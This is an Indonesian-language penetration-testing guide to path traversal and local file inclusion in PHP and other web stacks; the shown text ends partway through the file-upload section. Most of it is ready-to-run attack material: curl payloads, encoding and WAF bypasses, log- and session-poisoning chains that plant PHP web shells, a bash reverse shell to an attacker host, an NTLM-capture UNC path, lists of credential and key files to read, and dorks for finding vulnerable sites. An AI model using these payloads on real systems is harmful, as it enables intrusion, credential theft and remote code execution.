Path Traversal & Local File Inclusion (LFI)
- Siti
Table of Contents
Daftar Isi
- Bab 1 — Dasar Path Traversal & LFI
- Bab 2 — Bypass Techniques
- Bab 3 — LFI to RCE
- 3.1 Log Poisoning — Apache / Nginx
- 3.2 Log Poisoning — SSH Auth Log
- 3.3 Log Poisoning — Mail Log
- 3.4 /proc/self/environ
- 3.5 /proc/self/fd/ Technique
- 3.6 PHP Session File Inclusion
- 3.7 Uploaded File Inclusion
- 3.8 PHP Wrappers to RCE
- 3.9 XSLT Injection via PHP
- 3.10 XXE (XML External Entity) Injection
- 3.11 RCE Checklist
- Bab 4 — Target-Specific Cases
- Bab 5 — Post-Exploitation via Path Traversal
Bab 1 — Dasar Path Traversal & LFI
1.1 Apa itu Path Traversal / Directory Traversal
Path traversal (directory traversal) adalah vulnerability di mana input dari user dipakai dalam operasi file tanpa sanitasi yang benar, sehingga attacker bisa navigasi keluar dari direktori yang seharusnya menggunakan sequence ../:
User input: ?file=../../../etc/passwd
|
Application: open("/var/www/html/" + "../../../etc/passwd")
|
Resolves to: open("/etc/passwd") <-- file system rootPerbedaan terminologi:
| Istilah | Penjelasan |
|---|---|
| Path Traversal | Navigasi keluar dari direktori root via ../ — bisa read file arbitrary |
| Directory Traversal | Sinonim untuk Path Traversal |
| LFI (Local File Inclusion) | Spesifik PHP: file yang di-read di-execute sebagai PHP code |
| LFD (Local File Disclosure) | File read tanpa eksekusi (non-PHP contexts) |
| RFI (Remote File Inclusion) | PHP include() dari remote URL (allow_url_include=On) |
1.2 Apa itu LFI (Local File Inclusion)
LFI adalah subset dari path traversal yang spesifik pada PHP. Ketika PHP function include(), require(), include_once(), atau require_once() menerima input user, file yang di-include di-execute sebagai PHP code — bukan hanya dibaca.
1// LFI — file di-EXECUTE sebagai PHP
2$page = $_GET['page'];
3include($page); // berbahaya
4include($page . '.php'); // masih berbahaya
5
6// Path traversal — file di-READ saja (tanpa eksekusi)
7$content = file_get_contents($_GET['path']);
8echo $content;
9
10// Path traversal via readfile
11readfile($_GET['file']);
12
13// Path traversal via fopen
14$f = fopen($_GET['doc'], 'r');
15echo fread($f, filesize($_GET['doc']));Severity comparison:
| Skenario | Dampak |
|---|---|
| Path traversal (file_get_contents, readfile) | File disclosure saja |
| LFI (include/require) | File disclosure + potensial RCE via log poisoning |
| LFI + file upload | Langsung RCE |
| LFI + PHP wrappers (php://input, data://) | RCE tanpa file upload |
1.3 Mengapa Terjadi — Root Cause
Penyebab utama:
- User-controlled input langsung dipakai dalam file path operations
- Tidak ada canonicalization /
realpath()check - Tidak ada allowlist directory/file yang valid
- Framework/CMS lama dengan legacy include patterns
open_basedirtidak dikonfigurasi- Web server misconfiguration (AllowOverride, follow symlinks)
1// ========== SALAH — langsung pakai input ==========
2include($_GET['page'] . '.php');
3file_get_contents('/uploads/' . $_GET['file']);
4readfile('/docs/' . $_GET['doc']);
5
6// ========== BENAR — allowlist ==========
7$allowed = ['home', 'about', 'contact', 'faq'];
8$page = $_GET['page'];
9if (!in_array($page, $allowed, true)) {
10 die('Invalid page');
11}
12include(__DIR__ . '/pages/' . $page . '.php');
13
14// ========== BENAR — realpath check ==========
15$base = realpath('/var/www/html/pages/');
16$requested = realpath($base . '/' . $_GET['page']);
17if ($requested === false || strpos($requested, $base) !== 0) {
18 die('Access denied');
19}
20include($requested);
21
22// ========== BENAR — basename only (no directory traversal) ==========
23$file = basename($_GET['file']); // strip semua path components
24include('/pages/' . $file . '.php');1.4 Basic Payloads
| Payload | Konteks |
|---|---|
../../../etc/passwd | Linux, direct traversal |
....//....//....//etc/passwd | Filter bypass (strip ../ → masih jadi ../) |
..%2f..%2f..%2fetc%2fpasswd | URL encoded / |
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd | Full URL encoded |
%2e%2e/%2e%2e/%2e%2e/etc/passwd | Partial encoding (dots only) |
..\..\..\windows\win.ini | Windows backslash |
..%5c..%5c..%5cwindows%5cwin.ini | Windows URL encoded backslash |
/etc/passwd | Absolute path (jika tidak ada prefix) |
....\/....\/....\/etc/passwd | Mixed slash bypass |
1# ========== Test basic path traversal ==========
2curl -s "https://target.com/page?file=../../../etc/passwd"
3curl -s "https://target.com/page?file=....//....//....//etc/passwd"
4curl -s "https://target.com/page?file=..%2f..%2f..%2fetc%2fpasswd"
5
6# ========== Brute depth (berapa level ../ diperlukan) ==========
7for depth in $(seq 1 10); do
8 payload=$(printf '../%.0s' $(seq 1 $depth))etc/passwd
9 result=$(curl -s "https://target.com/?file=${payload}" | grep -c "root:")
10 echo "Depth $depth: $result match"
11 [ "$result" -gt 0 ] && break
12done
13
14# ========== Test Windows ==========
15curl -s "https://target.com/?file=..\..\..\..\windows\win.ini"
16curl -s "https://target.com/?file=..%5c..%5c..%5c..%5cwindows%5cwin.ini"1.5 File Target Utama di Linux
| File | Isi | Value |
|---|---|---|
/etc/passwd | User accounts (username, UID, home, shell) | User enumeration |
/etc/shadow | Password hashes (butuh root readable) | Offline cracking |
/etc/hosts | Local DNS entries | Network topology |
/etc/hostname | Server hostname | Recon |
/etc/os-release | OS version | Exploit selection |
/etc/crontab | System cron jobs | Persistence paths |
/etc/sudoers | Sudo rules | Privesc paths |
/etc/ssh/sshd_config | SSH config | Auth methods, port |
/etc/nginx/nginx.conf | Nginx main config | Virtual hosts, upstreams |
/etc/nginx/sites-enabled/default | Nginx site config | Document root, proxy pass |
/etc/apache2/apache2.conf | Apache main config | Module list, includes |
/etc/apache2/sites-enabled/000-default.conf | Apache vhost | Document root |
/etc/mysql/my.cnf | MySQL config | Socket, datadir |
/home/*/.ssh/id_rsa | SSH private key | Direct access ke server lain |
/home/*/.ssh/id_ed25519 | SSH private key (modern) | Direct access |
/home/*/.ssh/authorized_keys | Authorized SSH keys | Auth bypass |
/home/*/.bash_history | Command history | Leaked credentials |
/root/.ssh/id_rsa | Root SSH key | Full access |
/root/.bash_history | Root command history | Credentials |
/proc/self/environ | Process environment variables | App secrets, DB creds |
/proc/self/cmdline | Process command line | App detection |
/proc/self/status | Process info | PID, capabilities |
/proc/net/fib_trie | Routing table | Internal IPs |
/proc/net/tcp | Open TCP connections | Internal services |
/proc/self/cwd/ | Current working directory | Symlink ke app root |
/var/log/apache2/access.log | Apache access log | Log poisoning |
/var/log/apache2/error.log | Apache error log | Log poisoning |
/var/log/nginx/access.log | Nginx access log | Log poisoning |
/var/log/nginx/error.log | Nginx error log | Log poisoning |
/var/log/auth.log | SSH auth log | Log poisoning |
/var/log/mail.log | Mail server log | Log poisoning |
/var/lib/php/sessions/sess_* | PHP session files | Session inclusion |
/tmp/sess_* | PHP session (alt path) | Session inclusion |
/var/www/html/.env | Laravel/app env vars | DB creds, API keys, APP_KEY |
/var/www/html/wp-config.php | WordPress config | DB credentials |
/var/www/html/config/database.php | CodeIgniter/Laravel DB | DB credentials |
/var/www/html/configuration.php | Joomla config | DB credentials |
/opt/lampp/etc/httpd.conf | XAMPP Apache config | Virtual hosts |
1.6 File Target Utama di Windows
| File | Isi | Value |
|---|---|---|
C:\Windows\win.ini | Windows config (test file) | Verify traversal works |
C:\Windows\System32\drivers\etc\hosts | Hosts file | Network topology |
C:\Windows\System32\config\SAM | Password hashes (jika accessible) | Credential dump |
C:\Windows\System32\config\SYSTEM | System registry | SAM decryption key |
C:\inetpub\wwwroot\web.config | IIS config | Connection strings, app secrets |
C:\inetpub\logs\LogFiles\ | IIS logs | Log poisoning |
C:\xampp\phpMyAdmin\config.inc.php | phpMyAdmin config | DB creds |
C:\xampp\apache\conf\httpd.conf | Apache config | Virtual hosts |
C:\xampp\mysql\data\mysql\user.MYD | MySQL user data | Password hashes |
C:\ProgramData\MySQL\MySQL Server 8.0\my.ini | MySQL config | DB settings |
C:\Users\*\Desktop\* | Desktop files | Sensitive docs |
C:\Users\*\.ssh\id_rsa | SSH private key | Remote access |
C:\Users\*\AppData\Roaming\FileZilla\sitemanager.xml | FTP saved creds | Credentials |
C:\Users\*\AppData\Roaming\FileZilla\recentservers.xml | Recent FTP | Server list + creds |
C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login Data | Chrome passwords (SQLite) | Credentials |
C:\Windows\debug\NetSetup.log | Domain join info | AD info |
C:\Windows\Panther\unattend.xml | Windows install answers | Admin password |
1.7 Parameter yang Sering Rentan
| Kategori | Parameter Names |
|---|---|
| File load | file, filename, filepath, path, pathname, name |
| Page/template | page, template, view, layout, theme, skin |
| Language/locale | lang, language, locale, l, lng |
| Document | doc, document, report, download, resource, attachment |
| Include | include, inc, content, load, module, component |
| Config | conf, config, cfg, settings |
| Miscellaneous | data, source, src, input, read, show, display, cat, dir, action, board, date, detail, download, prefix, redirect, site, style, url |
1# Fuzz parameter names — mana yang vulnerable
2ffuf -u "https://target.com/index.php?FUZZ=../../../etc/passwd" \
3 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
4 -fw 10 -mc 200
5
6# Setelah dapat parameter, fuzz value-nya
7ffuf -u "https://target.com/index.php?file=FUZZ" \
8 -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
9 -fw 10 -mc 2001.8 Dorking: Google / Shodan / FOFA
1# ========== Google Dorks ==========
2
3# PHP file inclusion patterns
4inurl:"?page=" site:target.com
5inurl:"?file=" site:target.com
6inurl:"?path=" site:target.com
7inurl:"?lang=" inurl:.php
8inurl:"?template=" inurl:.php
9inurl:"?include=" inurl:.php
10inurl:"?doc=" inurl:.php
11inurl:"?view=" inurl:.php
12
13# Error-based discovery (PHP error messages)
14inurl:.php "failed to open stream" site:target.com
15inurl:.php "No such file or directory" site:target.com
16inurl:.php "include_path" site:target.com
17inurl:.php "include(" "on line" site:target.com
18
19# Exposed config files
20inurl:config.php intext:"define("
21inurl:wp-config.php.bak
22filetype:inc inurl:include1# ========== Shodan ==========
2http.html:"failed to open stream" country:"ID"
3http.html:"No such file or directory" http.status:500
4http.html:"include()" "on line"
5
6# ========== FOFA ==========
7body="failed to open stream" && body="include" && country="ID"
8body="No such file or directory" && body=".php"
9body="file_get_contents" && body="Warning"1.9 Tools Discovery
| Tool | Fungsi | Command |
|---|---|---|
| ffuf | Fuzz parameter & path | ffuf -u URL?file=FUZZ -w lfi-wordlist.txt |
| Burp Suite | Intercept + Intruder | Intruder → Sniper → LFI payload list |
| dotdotpwn | Dedicated traversal fuzzer | dotdotpwn -m http -h target.com -f /etc/passwd |
| LFISuite | Automated LFI scanner | python lfisuite.py |
| Nuclei | Template-based scanner | nuclei -u target.com -tags lfi |
| kadimus | LFI scanner + exploiter | kadimus -u URL?page=FUZZ |
1# ========== Nuclei path traversal templates ==========
2nuclei -u https://target.com -tags lfi,traversal
3nuclei -u https://target.com -t http/vulnerabilities/generic/path-traversal.yaml
4nuclei -l targets.txt -tags lfi -o lfi-results.txt
5
6# List available LFI templates
7nuclei -tl | grep -i "traversal\|lfi"
8
9# CVE-specific
10nuclei -l targets.txt -t cves/2021/CVE-2021-41773.yaml # Apache 2.4.49
11nuclei -l targets.txt -t cves/2021/CVE-2021-42013.yaml # Apache 2.4.49/50
12
13# ========== dotdotpwn ==========
14dotdotpwn -m http -h target.com -p 80 -f /etc/passwd -q -b
15dotdotpwn -m http-url -u "https://target.com/page?file=TRAVERSAL" -f /etc/passwd -q
16
17# ========== ffuf dengan wordlist LFI ==========
18# Wordlists:
19# /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
20# /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
21# /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
22# /usr/share/wordlists/dirb/common.txt
23
24ffuf -u "https://target.com/?file=FUZZ" \
25 -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
26 -mc 200 -fw 0Bab 2 — Bypass Techniques
2.1 URL Encoding
Server atau WAF sering filter ../ literal. URL encoding bisa bypass filter yang decode setelah filter check:
| Original | URL Encoded |
|---|---|
/ | %2f |
. | %2e |
\ | %5c |
../ | ..%2f |
../ | %2e%2e/ |
../ | %2e%2e%2f |
..\ | ..%5c |
1# Single encoding — dot
2curl "https://target.com/?file=%2e%2e/%2e%2e/%2e%2e/etc/passwd"
3
4# Single encoding — slash
5curl "https://target.com/?file=..%2f..%2f..%2fetc%2fpasswd"
6
7# Full encoding
8curl "https://target.com/?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
9
10# Generate encoded payload
11python3 -c "from urllib.parse import quote; print(quote('../../../etc/passwd', safe=''))"2.2 Double Encoding
Server/WAF decode sekali → lolos filter. Aplikasi decode kedua kali → traverse:
| Original | Single Encode | Double Encode |
|---|---|---|
. | %2e | %252e |
/ | %2f | %252f |
\ | %5c | %255c |
../ | %2e%2e%2f | %252e%252e%252f |
1# Double encoded ../
2curl "https://target.com/?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
3
4# Partial double encoding (hanya slash)
5curl "https://target.com/?file=..%252f..%252f..%252fetc%252fpasswd"
6
7# Triple encoding (jarang tapi ada)
8curl "https://target.com/?file=%25252e%25252e%25252f%25252e%25252e%25252fetc%25252fpasswd"2.3 Null Byte Injection
Untuk PHP < 5.3.4 — %00 terminates string di C-level, menghapus extension yang di-append:
1// Kode vulnerable:
2include($_GET['page'] . '.php');
3
4// Tanpa null byte: include("../../../etc/passwd.php") → file not found
5// Dengan null byte: include("../../../etc/passwd\0.php") → include("/etc/passwd")
1# Null byte injection
2curl "https://target.com/?page=../../../etc/passwd%00"
3curl "https://target.com/?page=../../../etc/passwd%00.jpg"
4curl "https://target.com/?page=../../../etc/passwd%00.php"
5
6# URL encoded null byte
7curl "https://target.com/?page=../../../etc/passwd%2500"Catatan: PHP >= 5.3.4 sudah reject null bytes di file paths. Masih relevan untuk legacy PHP apps, C/C++ apps, dan beberapa Perl/CGI scripts.
2.4 Path Normalization Bypass
Ketika filter naif hanya cari/hapus ../ exact match:
1# ========== Filter: str_replace('../', '', $input) ==========
2# ....// → strip ../ → ../ (masih jadi ../)
3curl "https://target.com/?file=....//....//....//etc/passwd"
4
5# ..././ → strip ../ → ../
6curl "https://target.com/?file=..././..././..././etc/passwd"
7
8# ========== Java / Tomcat: ..;/ ==========
9# Tomcat treat ;xxx sebagai path parameter, di-strip sebelum resolve
10curl "https://target.com/app/..;/WEB-INF/web.xml"
11curl "https://target.com/app/..;/..;/WEB-INF/web.xml"
12curl "https://target.com/app/..;/..;/..;/etc/passwd"
13
14# ========== Absolute path (jika prefix tidak dicek) ==========
15curl "https://target.com/?file=/etc/passwd"
16curl "https://target.com/?file=////etc/passwd"
17
18# ========== Windows trailing dot & space ==========
19curl "https://target.com/?file=../../../windows/win.ini."
20curl "https://target.com/?file=../../../windows/win.ini%20"
21curl "https://target.com/?file=../../../windows/win.ini::$DATA"
22
23# ========== Long path truncation (PHP < 5.3) ==========
24# PHP file path max 4096 chars. Padding dengan /. atau / berulang
25# ../../../etc/passwd/./././././././[...4096 chars...].php
26# → truncate → ../../../etc/passwd
27python3 -c "print('../../../etc/passwd/' + './' * 2048)"Tabel bypass per filter:
| Filter | Bypass |
|---|---|
str_replace('../', '') | ....// atau ..././ |
str_replace(['../', '..\'], '') | ....// |
Regex /\.\.\// (non-recursive) | ..././ |
| Whitelist extension | Null byte %00, double extension |
basename() only | Tidak bisa traverse (aman) |
Prefix check startsWith('/uploads/') | Symlink atau uploads/../../../etc/passwd |
2.5 Unicode / UTF-8 Encoding
Overlong UTF-8 encoding — representasi non-standard karakter ASCII:
1# ========== Overlong UTF-8 ==========
2# / (0x2f) bisa direpresentasikan sebagai:
3# %c0%af → overlong 2-byte UTF-8
4# %e0%80%af → overlong 3-byte UTF-8
5curl "https://target.com/?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"
6
7# \ (0x5c) overlong:
8# %c1%9c
9curl "https://target.com/?file=..%c1%9c..%c1%9c..%c1%9cwindows%c1%9cwin.ini"
10
11# ========== IIS %u encoding ==========
12# Khusus IIS — Unicode escape
13curl "https://target.com/?file=%u002e%u002e%u002f%u002e%u002e%u002fetc%u002fpasswd"
14
15# ========== Fullwidth Unicode ==========
16# . = %ef%bc%8e (fullwidth full stop U+FF0E)
17# / = %ef%bc%8f (fullwidth solidus U+FF0F)
18curl "https://target.com/?file=%ef%bc%8e%ef%bc%8e%ef%bc%8f%ef%bc%8e%ef%bc%8e%ef%bc%8fetc%ef%bc%8fpasswd"2.6 PHP Wrapper Abuse
PHP stream wrappers memungkinkan operasi yang jauh lebih powerful dari sekadar file read. Ini hanya berlaku untuk LFI (include/require), bukan path traversal biasa (file_get_contents masih bisa beberapa).
| Wrapper | Fungsi | Syarat |
|---|---|---|
php://filter | Read file + encode (bypass PHP execution) | Selalu tersedia |
php://input | Execute POST body sebagai PHP | allow_url_include=On |
data:// | Inline PHP code di URL | allow_url_include=On |
file:// | Baca file lokal (eksplisit) | Selalu tersedia |
zip:// | Include file dari ZIP archive | Perlu upload ZIP dulu |
phar:// | PHP archive — deserialization attack | Perlu upload PHAR dulu |
expect:// | Execute shell command langsung | Extension expect (jarang) |
php://filter — File Read (paling sering dipakai)
1# Baca file sebagai base64 — TIDAK di-execute sebagai PHP
2curl "https://target.com/?page=php://filter/convert.base64-encode/resource=/etc/passwd"
3# Output: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaA0K...
4
5# Decode hasilnya
6curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=/var/www/html/config.php" | \
7 grep -oP '[A-Za-z0-9+/=]{20,}' | base64 -d
8
9# Baca source code PHP tanpa execution
10curl "https://target.com/?page=php://filter/read=convert.base64-encode/resource=index"
11curl "https://target.com/?page=php://filter/read=convert.base64-encode/resource=../config/database"
12
13# ROT13 encoding
14curl "https://target.com/?page=php://filter/read=string.rot13/resource=/etc/passwd"
15
16# Chain filter (base64 + rot13)
17curl "https://target.com/?page=php://filter/read=convert.base64-encode|string.rot13/resource=index.php"
18
19# Tanpa extension .php (jika append otomatis)
20curl "https://target.com/?page=php://filter/convert.base64-encode/resource=config"
21# → aplikasi append .php → baca config.phpphp://input — RCE via POST
1# Syarat: allow_url_include = On (cek di phpinfo)
2# Kirim PHP code di POST body → di-execute
3
4curl -X POST "https://target.com/?page=php://input" \
5 -d '<?php system("id"); ?>'
6
7curl -X POST "https://target.com/?page=php://input" \
8 -d '<?php system($_GET["cmd"]); ?>' \
9 --get --data-urlencode "cmd=cat /etc/passwd"
10
11# Reverse shell via php://input
12curl -X POST "https://target.com/?page=php://input" \
13 -d '<?php system("bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\""); ?>'data:// — Inline PHP Code
1# Syarat: allow_url_include = On
2
3# Encode PHP ke base64
4echo -n '<?php system($_GET["cmd"]); ?>' | base64
5# PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+
6
7# Execute via data wrapper
8curl "https://target.com/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id"
9
10# Tanpa base64
11curl "https://target.com/?page=data://text/plain,<?php system('id'); ?>"expect:// — Direct Command Execution
1# Syarat: PHP expect extension ter-install (jarang tapi ada)
2curl "https://target.com/?page=expect://id"
3curl "https://target.com/?page=expect://whoami"
4curl "https://target.com/?page=expect://cat%20/etc/passwd"zip:// dan phar://
1# ========== zip:// ==========
2# 1. Buat PHP shell dalam ZIP
3echo '<?php system($_GET["cmd"]); ?>' > shell.php
4zip shell.zip shell.php
5
6# 2. Upload shell.zip sebagai image (bypass extension filter)
7# mv shell.zip shell.jpg && upload
8
9# 3. Include via zip wrapper
10curl "https://target.com/?page=zip:///var/www/html/uploads/shell.jpg%23shell.php&cmd=id"
11# zip://[path_to_zip]#[file_inside_zip]
12
13# ========== phar:// ==========
14# 1. Buat PHAR file (PHP script)
15# <?php
16# $phar = new Phar('shell.phar');
17# $phar->startBuffering();
18# $phar->setStub('<?php __HALT_COMPILER();');
19# $phar->addFromString('shell.php', '<?php system($_GET["cmd"]); ?>');
20# $phar->stopBuffering();
21
22# 2. Upload & include
23curl "https://target.com/?page=phar:///var/www/html/uploads/shell.phar/shell.php&cmd=id"2.7 WAF Bypass Techniques
1# ========== Chunked Transfer Encoding ==========
2# Beberapa WAF tidak inspect chunked body
3curl -X POST "https://target.com/?page=php://input" \
4 -H "Transfer-Encoding: chunked" \
5 -d $'17\r\n<?php system("id"); ?>\r\n0\r\n\r\n'
6
7# ========== Case variation (Windows) ==========
8curl "https://target.com/?file=..\..\..\..\WiNdOwS\WiN.InI"
9
10# ========== Payload di Header ==========
11# Jika parameter bisa dibaca dari header (custom app)
12curl "https://target.com/" -H "X-File: ../../../etc/passwd"
13
14# ========== Newline injection ==========
15# Beberapa parser tertipu dengan newline
16curl "https://target.com/?file=../../../etc%0a/passwd"
17
18# ========== Tab dan space ==========
19curl "https://target.com/?file=../../../etc/passwd%09"
20curl "https://target.com/?file=%20../../../etc/passwd"
21
22# ========== Double URL parameter ==========
23# Jika WAF hanya cek parameter pertama tapi app pakai yang terakhir
24curl "https://target.com/?file=safe.txt&file=../../../etc/passwd"
25
26# ========== Path dengan directory yang valid ==========
27# Bypass WAF yang cek apakah path dimulai dengan folder yang valid
28curl "https://target.com/?file=images/../../../etc/passwd"
29curl "https://target.com/?file=css/../../../../../../etc/passwd"2.8 OS-Specific Tricks
Windows
1# Backslash separator
2curl "https://target.com/?file=..\..\..\..\windows\win.ini"
3
4# UNC path (akses SMB share — bisa capture NTLM hash!)
5curl "https://target.com/?file=\\\\ATTACKER_IP\\share\\evil.php"
6# → Responder menangkap NTLMv2 hash
7
8# Alternate Data Stream (ADS) — bypass extension check
9curl "https://target.com/?file=../../../windows/win.ini::$DATA"
10
11# 8.3 short filename — bypass filename filter
12# C:\Windows\System32 → C:\WINDOW~1\SYSTEM~1
13curl "https://target.com/?file=..\..\..\..\WINDOW~1\SYSTEM~1\drivers\etc\hosts"
14
15# IIS-specific: semicolon
16curl "https://target.com/page.asp;.jpg?file=../../../windows/win.ini"Linux
1# Symlink abuse (jika bisa create symlink via upload atau write)
2# ln -s /etc/passwd /var/www/html/uploads/link.txt
3
4# /proc filesystem — virtual files
5curl "https://target.com/?file=/proc/self/environ"
6curl "https://target.com/?file=/proc/self/cmdline"
7curl "https://target.com/?file=/proc/1/environ" # PID 1 (init/systemd)
8curl "https://target.com/?file=/proc/self/fd/0" # stdin
9curl "https://target.com/?file=/proc/self/cwd/config.php" # relative dari CWD
10
11# /dev/stdin trick
12curl "https://target.com/?file=/dev/stdin" -d '<?php system("id"); ?>'2.9 Wordlist & Burp Intruder Setup
1# ========== Wordlists yang wajib punya ==========
2
3# SecLists — LFI specific
4/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt # ~900 payloads
5/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
6/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
7/usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
8/usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt
9
10# Parameter names
11/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
12
13# Traversal payloads (bypass encodings)
14/usr/share/seclists/Fuzzing/path-traversal-all-encodings.txt
15
16# Download jika belum ada
17git clone https://github.com/danielmiessler/SecLists.gitBurp Intruder setup:
- Intercept request yang ada parameter file/page/dll
- Send to Intruder → mark parameter value sebagai injection point
- Payload type: Simple list → load LFI-Jhaddix.txt
- Grep match: tambahkan
root:,[boot loader],for 16-bit(untuk detect success) - Filter results by response length (berbeda = mungkin berhasil)
Bab 3 — LFI to RCE
3.1 Log Poisoning — Apache / Nginx
Prinsip: Inject PHP code ke log file, lalu LFI include log file → PHP di-execute.
Target log files:
| Log File | Injection Point |
|---|---|
/var/log/apache2/access.log | User-Agent, Referer, URL path |
/var/log/apache2/error.log | Invalid request → file path logged |
/var/log/nginx/access.log | User-Agent, Referer |
/var/log/nginx/error.log | Invalid request |
/var/log/httpd/access_log | RHEL/CentOS Apache |
/opt/lampp/logs/access_log | XAMPP |
1# ========== Step 1: Inject PHP ke access log via User-Agent ==========
2curl -s "https://target.com/" \
3 -A '<?php system($_GET["cmd"]); ?>'
4
5# ========== Step 2: Verifikasi log bisa dibaca via LFI ==========
6curl -s "https://target.com/?page=../../../var/log/apache2/access.log" | tail -5
7
8# ========== Step 3: Execute command via log file ==========
9curl -s "https://target.com/?page=../../../var/log/apache2/access.log&cmd=id"
10curl -s "https://target.com/?page=../../../var/log/apache2/access.log&cmd=cat+/etc/passwd"
11
12# ========== Variasi: inject via Referer ==========
13curl -s "https://target.com/" \
14 -H 'Referer: <?php system($_GET["cmd"]); ?>'
15
16# ========== Variasi: Nginx ==========
17curl -s "https://target.com/?page=../../../var/log/nginx/access.log&cmd=id"
18
19# ========== Error log poisoning ==========
20# Request file yang tidak ada → path masuk error log
21curl -s 'https://target.com/<?php system($_GET["cmd"]); ?>'
22# → error.log: File does not exist: /var/www/html/<?php system(...); ?>
23
24curl -s "https://target.com/?page=../../../var/log/apache2/error.log&cmd=id"Perhatian: Log file bisa sangat besar. Jika response timeout, coba
php://filter/convert.base64-encode/resource=/var/log/apache2/access.logdulu untuk verifikasi ukuran.
3.2 Log Poisoning — SSH Auth Log
1# ========== SSH auth log ==========
2# /var/log/auth.log (Debian/Ubuntu)
3# /var/log/secure (RHEL/CentOS)
4
5# Step 1: Inject PHP via SSH username
6ssh '<?php system($_GET["cmd"]); ?>'@target.com
7# SSH akan fail tapi username tercatat di auth.log:
8# Failed password for invalid user <?php system($_GET["cmd"]); ?> from ...
9
10# Step 2: Include auth.log via LFI
11curl -s "https://target.com/?page=../../../var/log/auth.log&cmd=id"
12
13# Catatan: perlu LFI user bisa baca auth.log (biasanya www-data group adm)3.3 Log Poisoning — Mail Log
1# ========== Mail log ==========
2# /var/log/mail.log
3
4# Step 1: Inject via SMTP (jika port 25 terbuka)
5telnet target.com 25
6EHLO attacker.com
7MAIL FROM:<[email protected]>
8RCPT TO:<?php system($_GET["cmd"]); ?>@target.com
9DATA
10Subject: test
11test
12.
13QUIT
14
15# Step 2: Include mail log
16curl -s "https://target.com/?page=../../../var/log/mail.log&cmd=id"3.4 /proc/self/environ
1# /proc/self/environ berisi environment variables proses PHP saat ini
2# Jika bisa di-read via LFI, inject PHP via HTTP_USER_AGENT
3
4# Step 1: Cek apakah /proc/self/environ bisa dibaca
5curl -s "https://target.com/?page=../../../proc/self/environ"
6# Jika berhasil → terlihat environment variables (HTTP_USER_AGENT, SERVER_NAME, dll)
7
8# Step 2: Inject PHP code via User-Agent dan include /proc/self/environ
9curl -s "https://target.com/?page=../../../proc/self/environ" \
10 -A '<?php system($_GET["cmd"]); ?>'
11
12# Step 3: Sekarang tambah &cmd=
13curl -s "https://target.com/?page=../../../proc/self/environ&cmd=id" \
14 -A '<?php system($_GET["cmd"]); ?>'
15
16# Catatan: di PHP modern + Apache mod_php, /proc/self/environ mungkin tidak readable
17# oleh www-data. Lebih sering berhasil di CGI/FastCGI setup.3.5 /proc/self/fd/ Technique
1# File descriptors — setiap proses punya FD yang point ke open files
2# /proc/self/fd/0 = stdin
3# /proc/self/fd/1 = stdout
4# /proc/self/fd/2 = stderr
5# /proc/self/fd/N = other open files (log files, temp files, dll)
6
7# Step 1: Inject PHP via User-Agent (sama seperti log poisoning)
8curl -s "https://target.com/" -A '<?php system($_GET["cmd"]); ?>'
9
10# Step 2: Brute force file descriptor numbers
11for fd in $(seq 0 30); do
12 result=$(curl -s "https://target.com/?page=../../../proc/self/fd/${fd}&cmd=id" | grep -c "uid=")
13 if [ "$result" -gt 0 ]; then
14 echo "Found at fd=$fd"
15 break
16 fi
17done
18
19# fd yang sering berisi log:
20# fd/2 → stderr (error log)
21# fd/5-10 → biasanya access/error log tergantung konfigurasi3.6 PHP Session File Inclusion
1# PHP menyimpan session data di file
2# Lokasi: /var/lib/php/sessions/sess_<PHPSESSID>
3# atau /tmp/sess_<PHPSESSID>
4# atau custom path dari session.save_path
5
6# Step 1: Inject PHP code ke session variable
7# Jika ada form yang simpan input ke session (misal: username, search query, language preference)
8curl -s "https://target.com/login.php" \
9 -d 'username=<?php system($_GET["cmd"]); ?>&password=test' \
10 -c cookies.txt
11
12# Step 2: Ambil PHPSESSID dari cookie
13SESSID=$(grep PHPSESSID cookies.txt | awk '{print $NF}')
14
15# Step 3: Include session file
16curl -s "https://target.com/?page=../../../var/lib/php/sessions/sess_${SESSID}&cmd=id"
17curl -s "https://target.com/?page=../../../tmp/sess_${SESSID}&cmd=id"
18
19# Variasi: jika ada fitur "set language" yang simpan ke session
20curl -s "https://target.com/setlang.php?lang=<?php system(\$_GET['cmd']); ?>" -c cookies.txt
21SESSID=$(grep PHPSESSID cookies.txt | awk '{print $NF}')
22curl -s "https://target.com/?page=../../../tmp/sess_${SESSID}&cmd=id"3.7 Uploaded File Inclusion
1# Jika target punya file upload (avatar, document, dll)
2
3# ========== Method 1: PHP code dalam image ==========
4# Buat image yang valid tapi berisi PHP code di metadata
5
6# JPEG dengan PHP di EXIF comment
7exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
8# Upload image.jpg → path: /uploads/image.jpg
9
10# Include via LFI
11curl "https://target.com/?page=../../../var/www/html/uploads/image.jpg&cmd=id"
12
13# ========== Method 2: GIF header + PHP ==========
14printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif
15# Upload shell.gif → GIF header lolos magic byte check
16# Include via LFI → PHP di-execute
17
18# ========== Method 3: Double extension ==========
19# Upload file: shell.php.jpg (jika server hanya cek extension akhir)
